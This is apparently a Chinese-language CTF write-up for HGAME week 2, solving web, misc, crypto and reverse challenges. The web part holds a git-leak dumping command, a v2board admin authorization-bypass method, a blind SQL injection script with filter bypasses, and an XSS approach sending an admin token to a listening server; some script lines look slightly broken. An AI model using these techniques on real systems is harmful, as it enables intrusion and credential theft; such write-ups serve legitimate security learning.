

# hgame——week2——wp

## 1, web

### 1, Git Leakage

下载个GitHack脚本，运行一下python .\GitHack.py -u <http://week-2.hgame.lwsec.cn:30099/.git/>

获得flag

```
hgame{Don't^put*Git-in_web_directory}
```

### 2, v2board

一开始有点懵，后来查阅资料发现是漏洞的复现，学习越权访问漏洞，收获还不少，还在学习中<https://www.ctfiot.com/86202.html>

#### (漏洞描述)

V2board面板 Admin.php 存在越权访问漏洞，由于部分鉴权代码于v1.6.1版本进行了修改，鉴权方式变为从Redis中获取缓存判定是否存在可以调用接口，导致任意用户都可以调用管理员权限的接口获取后台权限

由于 Admin.php 文件中只验证了 authorization 是否在 Redis的缓存中，所以当注册任意一个用户进行登录后获取到 auth\_data 就可以任意调用 管理员的接口，

构造一个请求触发**返回鉴权失败，请重新登录**这个403。手动构造一个header，authorization可以是任意值。

判断是否需要邮箱验证注册)(是网上找的)

可以通过抓包进行

v2board的后台大部分是可以直接注册的，部分需要邮箱验证。对于邮箱验证的需要对接邮箱的api才能完成自动化利用，对于没有邮箱验证的后台，可以使用任意伪造的邮箱进行注册，注册成功后会返回 auth\_data。登录后需要请求/user/info接口才能使authorization生效。

通过抓包进行操作

带着返回的authorization访问那个api接口，然后可以得出token

```
hgame{39d580e71705f6abac9a414def74c466}
```

### 3, Search Commodity

首先抓包通过burp suite的爆破得到密码是admin123，看到题目简介里有数据库，肯定存在注入，用burp suite爆破sql注入的过滤，

好像注入不能利用？？然后试了一下双写和大小写绕过，成功。

```
database()=>se4rch
```

```
tables=>5ecret15here
```

```
columns=>F14GGGG1SHERE
```

听出题人说union注入也可以，一开始没试出来，网上找脚本，学习盲注

```
import requests
```

```

url = "http://week-2.hgame.lwsec.cn:30726/search" # 注入位置
t = 'hard disk' # True时返回值
payload = "select group_concat(table_name) from information_schema.tables where table_schema like 'se4rch'" # 需要查询的内容
payload =
"SELECT(group_concat(table_name))FROM(information_schema.tables)WHERE((table_schema)like('se4rch'))"
payload =
"SELECT(group_concat(column_name))FROM(information_schema.columns)WHERE((table_schema)like('se4rch'))AND((table_name)like('5secret15here'))"
payload = "SELECT(binary(F14GGG1SHERE))FROM(se4rch.5secret15here)"
def contentblind():
    flag = ''
    i = 1
    while True:
        for j in range(27, 127):
            c = chr(j)
            if c == '%':
                c = '\\%'
            if c == '_':
                c = '\\_'
            data = {
                'search_id': f"0|(substr(({payload}},{i},1)like('{c}'))",
            }
            headers = {
                "Cookie":

                "SESSION=MTY3MZYxN3xEdi1CQkFFQ180SUFBUKFCRUFBQUpQLUNBQUVHYZNSewFXNW5EQVlBQkhwelpYSudjM1J5YVc1bkRBZ0Fcb1Z6Wlhjd01RPT18Z4y9609P1VruqP6C9cwbw02SC6jxoRIiXPfeJOEKL1s="

            }
            r = requests.post(url, data=data, headers=headers)
            r.encoding = r.apparent_encoding
            if r.status_code == 200:
                if f"{t}" in r.text:
                    flag += chr(j)
                    print(flag)
                    i += 1
                    break
    contentblind()

```

运行之后得到flag

hgame{4\_M4n\_WH0\_Kn0ws\_We4k-P4ssW0rd\_And\_SQL!}

## 4, Designer

附件下载下来发现是js源码，审计查看其功能

- 用户注册：使用 /user/register 接口来注册用户
- 用户信息：使用 /user/info 接口来获取用户信息，需要用户登录
- 按钮样式：使用 /button/save 接口来保存按钮样式，使用 /button/get 接口来获取按钮样式，需要用户登录
- 按钮编辑：使用 /button/edit 接口来渲染按钮编辑页面

- 按钮分享: 使用 /button/share 接口来分享按钮样式, 需要用户登录
- 按钮预览: 使用 /button/preview 接口来预览按钮样式, 不需要用户登录。

因为是第一次接触xss的题目，查阅了很多资料，包括ctfshow上的xss题目

```
<script>alert("XSS")</script>
```

其中XSS换成payload，点击share，本来以为可以得到，可是没有，以为是黑名单没过，一直试一直试

## Customize your button

Border radius(px)	<input type="text" value="0"/>
Background color	<input type="color" value="#000000"/>
Text color	<input type="color" value="#000000"/>
Border width	<input type="text" value="1"/>
Box shadow	<input type="text" value=""/>
<div><input type="button" value="Save"/> <input type="button" value="Preview"/> <input type="button" value="Share"/></div>	

没有反应，继续查资料，看到YouTube上有个视频，要用监听，在vps日志里面得到请求结果

GET /?eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWwuaWiwiZmxhZyI6ImhnYWVlYXR5Y2luakVidC1pbm90eS1jbnVyc0oiE2N-M3ODQ0NDPp-KCRMM81ObIP9CaG4xgGHbYZKzVSQAAP+57\_s0\_Pk118

然后将token放入jwt.io里面解码获得flag（其实还是不是很明白，坐等官方wp）

### hgame{b\_c4re\_ab0ut\_prop3rt1ty\_injEctiOn}

## 2, misc

## 1, crazy\_qrcode

做这题的时候人傻了，先去了解了二维码的组成，了解到qrazybox这个软件，然后了解掩码，做了快一天，利用qrazybox对这个二维码的mask值进行修改，尝试几次后得到正确的二维码，然后扫描获得压缩包的密码QDjkXkpM0BHNXujs，然后得到25张图片，和一串数字并带有问号，经过痛苦的折磨，发现这是旋转值，1转90°，2转180°，3转270°，0不转，？未知，尝试后得到正确的二维码



扫描获得flag: hgame{Cr42y\_qrc0de}

## 2, Sign In Pro Max

前几个根据提示在md5在线网站上解密得到，最后一部分利用凯撒密码解密获得flag，最后使用-进行连接

```
hgame{f51d3a18-f91c-4952-a3ed-0bc0ea61d21c}
```

## 3,Tetris Master

用脚本跑出结果，达到50000分获得flag

```
hgame{Bash_Game^Also*Can#Rce}
```

## 4, Tetris Master Revenge

用脚本跑出结果，达到50000分获得flag

```
hgame{Bash_Game^Also*Can#Rce^reVenge!!!!}
```

# 3, crypto

## 1, 包里有什么

是一个背包加密，首先要通过b0去恢复w，测试一下可以知道a0=2，这样w=b0//2，然后大概通过m的位数去判断一下l的长度，之后就能还原b，然后使用背包还原flag即可

```
m = 1528637222531038332958694965114330415773896571891017629493424
b0 = 69356606533325456520968776034730214585110536932989313137926
c = 93602062133487361151420753057739397161734651609786598765462162
w=b0//2
l=198
a = [2 << i for i in range(l)]
b = [w * i % m for i in a]
from Crypto.Util.number import *
encoded= c
pubkey=b
nbit = len(pubkey)
print("start")
# create a large matrix of 0's (dimensions are public key length +1)
def decrypt(enc,publickey):
    A = Matrix(ZZ, nbit + 1, nbit + 1)
    # fill in the identity matrix
    for i in range(nbit):
        A[i, i] = 2
    # replace the bottom row with your public key
    for i in range(nbit):
        A[i, nbit] = pubkey[i]
    # last element is the encoded message
    A[nbit, nbit] = int(encoded)
    for i in range(nbit):
        A[nbit,i]=1
    # print(A)
    M = A.LLL()
    # print(res)
    m=''
    for j in range( nbit + 1):
        # print solution
        judge=M[j][: -1]
```

```

        if set(judge).issubset([-1,1]):
            for i in M[j]:
                if i==-1:
                    m+='1'
                elif i ==1:
                    m+='0'
            return m
tmp=decrypt(encoded,pubkey)
print(tmp)
key=int(tmp,2)
key=long_to_bytes(key)
print(key)

```

hgame{1t's\_4n\_3asy\_ba9\_isn7\_it?}

## 2, Rabin

网上可以找到差不多的脚本，rabin解密

```

from gmpy2 import *
import libnum
import hashlib
p=65428327184555679690730137432886407240184329534772421373193521144693375074983
q=98570810268705084987524975482323456006480531917292601799256241458681800554123
n=p*q
e=2
c=int("4e072f435cbffbd3520a283b3944ac988b98fb19e723d1bd02ad7e58d9f01b26d622edea5
ee538b2f603d5bf785b0427de27ad5c76c656dbd9435d3a4a7cf556",16)
inv_p = invert(p, q)
inv_q = invert(q, p)
mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
a = (inv_p * p * mp + inv_q * q * mq) % n
b = n - int(a)
c = (inv_p * p * mq - inv_q * q * mp) % n
d = n - int(c)
#因为rabin 加密有四种结果，全部列出。
aa=[a,b,c,d]
for i in aa:
    print(i)
    print(libnum.n2s(int(i)))

```

hgame{That'5\_s0\_3asy\_to\_s@lve\_r@bin}

## 3, RSA 大冒险1

```

from pwn import *
from Crypto.Util.number import long_to_bytes
import sympy
import gmpy2

def listen_data(n):
    data = []
    for i in range(n):
        tmp = con.recvline().strip().decode()
        data.append(tmp)

```

```

        print(tmp)
    return data

con = remote('week-2.hgame.lwsec.cn', 31183)
listen_data(10)

# 第一关
con.sendline(b'1')
listen_data(8)

con.sendline(b'1')
n, e, p = listen_data(3) # p*q*r, e, p 这三个数据
n = int(n[2:])
e = int(e)
p = int(p)
a = n // p # a = q * r
assert n == a * p
q = int(input("q*r = {} , 请输入分解出的q或者r的值: ".format(a))) # 使用yafu 1.3.4
r = a // q

con.sendline(b'2')
c = listen_data(1) # 获取密文
c = int(c[0][2:], 16)
phin = (p-1)*(q-1)*(r-1)
d = int(sympy.invert(e, phin))
m = pow(c, d, n)
print(long_to_bytes(m))
# b'm<n_But_also_m<p'
# 手动提交了

# 第二关, 获取两次pubkey即可分解出p
con.sendline(b'2')
listen_data(8)

con.sendline(b'1')
n1, e = listen_data(2) # p*q1, e, 这两个数据

con.sendline(b'2')
c = listen_data(1) # 获取密文
c = int(c[0][2:], 16)

con.sendline(b'1')
n2, e = listen_data(2) # p*q2, e, 这两个数据
n1 = int(n1[2:])
n2 = int(n2[2:])
e = int(e)
p = sympy.gcd(n1, n2)
q = n1 // p
assert p*q == n1
phin = (p-1)*(q-1)
d = int(sympy.invert(e, phin))
m = pow(c, d, n1)
print(long_to_bytes(m))
# make_all_modulus_independent
# 手动提交

```

```

"""

"""

# 第三关
con.sendline(b'3')
listen_data(8)

con.sendline(b'1')
n, e = listen_data(2) # p*q2, e, 这两个数据
n = int(n[2:])
e = int(e)

con.sendline(b'2')
c = listen_data(1) # 获取密文
c = int(c[0][2:], 16)

for i in range(10000000):
    m = gmpy2.iroot(c, e)
    if m[1] == True:
        m = m[0]
        print(long_to_bytes(m))
        c = c + n
# encrypt_exponent_should_be_bigger

# 第四关, n不变e变, 会造成共模攻击
con.sendline(b'4')
listen_data(8)

con.sendline(b'1')
n, e1 = listen_data(2) # p*q, e1, 这两个数据

con.sendline(b'2')
c1 = listen_data(1) # 获取密文
c1 = int(c1[0][2:], 16)

con.sendline(b'1')
n, e2 = listen_data(2) # p*q, e2, 这两个数据
n = int(n[2:])
e1 = int(e1)
e2 = int(e2)

con.sendline(b'2')
c2 = listen_data(1) # 获取密文
c2 = int(c2[0][2:], 16)

# 扩展欧几里得(贝祖等式)
def ext_euclid(a, b):
    if b == 0:
        return 1, 0, a
    else:
        x, y, q = ext_euclid(b, a % b) # q = gcd(a, b) = gcd(b, a%b)
        x, y = y, (x - (a // b) * y)
        return x, y, q

def same_mod(n, e1, e2, c1, c2):

```

```

s, t, q = ext_euclid(e1, e2)
m = (gmpy2.powmod(c1, s, n) * gmpy2.powmod(c2, t, n)) % n # powmod进行大数运算
flag = long_to_bytes(m)
print(flag)
return flag

same_mod(n, e1, e2, c1, c2)
# never_uese_same_modulus

```

```

your score 3
select challenge
> 4

/-----\
|      options      |
| 1. get public key |
| 2. get cipher text|
| 3. check           |
\-----/

> 3
input your answer: never_uese_same_modulus
your score 4
hgame{W0w_you^knowT^e_CoMm0n_&t$ack@bout|RSA}
^C
ubuntu@ubuntu:~$

```

hgame{W0w\_you^knowT^e\_CoMm0n\_&t\$ack@bout|RSA}

## 4, re

### 1, math

进入main函数，进行审计，5\*5矩阵计算（我这线代，看了大半天才出来），找在线工具

然后使用在线工具，将ASCII码转换为字符

hgame{y0ur\_m@th\_1s\_gO0d}

### 2, stream

发现是python打包成的exe文件，用pyinstxtractor.py解包得到pyc，再使用在线网站，获得py文件，然后发现加密方法为，rc4，再用b64加密，直接用cyberchef在线解密

得到flag: hgame{python\_reverse\_is\_easy\_with\_internet}

### 3, before\_main

用ida打开，发现类似base64的编码，尝试cyberchef解密，失败，然后进入sub12\_EB，变表在qword里面，按x进入qword，得到变表

```

result = ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL);
if ( result != -1 )
{
    strcpy((char *)&qword_4020, "qaCpwYM2t0/RP0XeSZv8kLd6nfA7UHJ1No4gF5zr3VsBQb19juhEGymc+wTxIiDK");
    return 0x636D79474568756ALL;
}
return result;
}

```



Recipe

From Base64

Alphabet  
.d6nfA7UHJ1No4gF5zr3VsBQb19juhEGymc+WTxIiDK|

☒ Remove non-alphabet chars ☐ Strict mode

Input

AMHo7dLxUEabf6Z3PdWr6cOy75i4fdfeUzL17kaV7rG=

Output

hgame{s0meth1ng\_run\_befOre\_m@in}

hgame{s0meth1ng\_run\_befOre\_m@in}